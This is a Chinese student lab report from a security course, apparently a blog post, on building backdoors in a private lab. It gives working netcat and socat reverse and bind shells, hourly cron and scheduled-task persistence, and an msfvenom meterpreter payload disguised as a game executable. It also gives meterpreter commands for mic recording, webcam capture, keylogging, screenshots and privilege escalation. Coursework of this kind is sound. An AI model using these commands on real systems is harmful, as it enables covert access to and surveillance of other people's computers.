2019-2020-2《网络对抗技术》Exp2 后门原理与实践

一、实践目标

  • 任务一:使用netcat获取主机操作Shell,cron启动
  • 任务二:使用socat获取主机操作Shell, 任务计划启动
  • 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

二、基础知识

  • 后门:不经过正常认证流程而访问系统的通道
  • 可能存在于:
    • 编译器
    • 操作系统
    • 固件
    • 应用
  • 后门工作流程:后门工作流程:程序→植入→运行→免杀。
  • 后门工具:
    • Netcat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
    • socat:socat是nc的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
    • Meterpreter:具有强大的功能,特别是其socks代理。Meterpreter是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回一个我们控制通道,例如利用远程过程带哦用RPC服务的一个漏洞,当漏洞被触发后,我们选择Meterpreter作为攻击载荷,就能够获得目标系统上的一个Meterpreter Shell连接。Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更加深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。

三、实验内容

1.使用netcat获取主机操作Shell,cron启动

1.1使用Windows获得Linux Shell

首先在Windows中使用ipconfig查看其IP地址

关闭防火墙之后,使用ncat.exe程序打开监听ncat.exe -l -p 5321

在kali中使用-e选项执行shell程序反弹连接Windows:nc 192.168.1.18 5321 -e /bin/sh

在windows中就能成功获得kali的shell:

1.2Linux获得Windows Shell

在kali中使用ifconfig来查看kali的IP:

使用nc -l -p 5321打开kali的监听

在Windows中使用ncat.exe -e cmd.exe 192.168.1.20 5321反弹连接kali

kali成功获得Windows的命令提示:

1.3启动cron

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

Windows系统下监听端口5321,Linux系统下,输入指令crontab -e并选择3进入编辑模式,

在最后一行添加21 * * * * /bin/netcat 192.168.1.18 5321 -e /bin/sh,表示每个小时的第21分时执行后面的那条指令。

inux在21分时连接Windows,监听的windows连接后可获得shell:

1.4使用nc传输数据

Windows下使用ncat.exe -l 5321监听5321端口,kali使用nc 192.168.1.18 5321反弹连接到Windows的5321端口,连接建立成功后双方可互传数据

2.使用socat获取主机操作Shell,任务计划启动

下载socat之后打开计算机管理-任务计划程序中-创建任务,填写任务名并新建一个触发器。

在操作中的程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5321 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5317,同时把cmd.exe的stderr重定向到stdout上

新建一个触发器,设置好时间之后,其他设置默认即可

可以看到任务已经在运行了

到达触发时间后,我们会发现任务自动运行

在kali输入指令socat - tcp:192.168.0.102:5321就可以连接到Windows主机的5321端口了,此时可以获得Windows的shell:

3.使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

使用kali攻击win10,首先在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.20 LPORT=5321 -f exe > Counter-Strike20175321.exe,此处的IP地址为kali的IP。

在Windows下执行ncat.exe -lv 5321 > Counter-Strike20175321.exe指令,查看当前的连接状态

在kali中使用nc 192.168.1.18 5321 < Counter-Strike20175321.exe传输后门程序,传输成功win10的cmd中会出现传输信息

在Kali上使用msfconsole指令进入msf控制台,输入:

use exploit/multi/handler    //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp    //使用和生成后门程序时相同的payload
set LHOST 192.168.1.20    //kali的IP
set LPORT 5321    //要使用相同的端口

使用exploit开始监听,运行Windows中的后门程序
在cmd中运行Windows下的后门程序,这时Kali上获得了Windows主机的shell.

4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

4.1.输入record_mic 指令可以截获一段时长的音频,录制完毕自动输出保存路径:

4.2.输入webcam_snap指令可以使用摄像头进行拍照,拍摄完毕自动输出保存路径,并自动打开图像

4.3.输入使用keyscan_start和keyscan_dump指令获取目标机击键记录:

4.4.输入screenshot指令可以进行截屏

4.5.输入getsystem指令进行提权操作:

四、实验中遇到的问题

1.使用nc进行文件传输未成功

原因:不明

解决方法:暂无

2.corn到时间未启动

原因:条件中默认勾选“只有在计算机使用交流电源时才启动本任务”和“如果计算机改用电池电源,则停止”。

解决方法:插电或者取消勾选。

3.此应用无法在你的电脑上运行

原因:后门文件传送失败。

解决方法:重新传送即可。

五、实验总结与体会

1.基础问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?
    • 从非官网获取的软件
  • (2)例举你知道的后门如何启动起来(win及linux)的方式?
    • 定时启动(比如说corn),开机/重启自启动,运行某程序时启动。
  • (3)Meterpreter有哪些给你映像深刻的功能?
    • 可以在被攻击的机器的使用者不知情的情况下访问摄像头,窃取图像和音频等。
  • (4)如何发现自己有系统有没有被安装后门?
    • 开启防火墙和杀毒软件,不给可以的程序机会。

2.实验体会

这个实验本来我以为不会花那么多的时间的,但是因为涉及到不同系统(机器)之间互相监听、传送数据和文件,经常会出现各种意料之外的状况。我们不仅需要耐心地去分析和解决一个又一个的问题,还要有敢于重做的勇气和一双认清本质“火眼金睛”,着实能够哦锻炼人。

posted on 2020-03-23 05:41  20175321wdc  阅读(279)  评论(0编辑  收藏  举报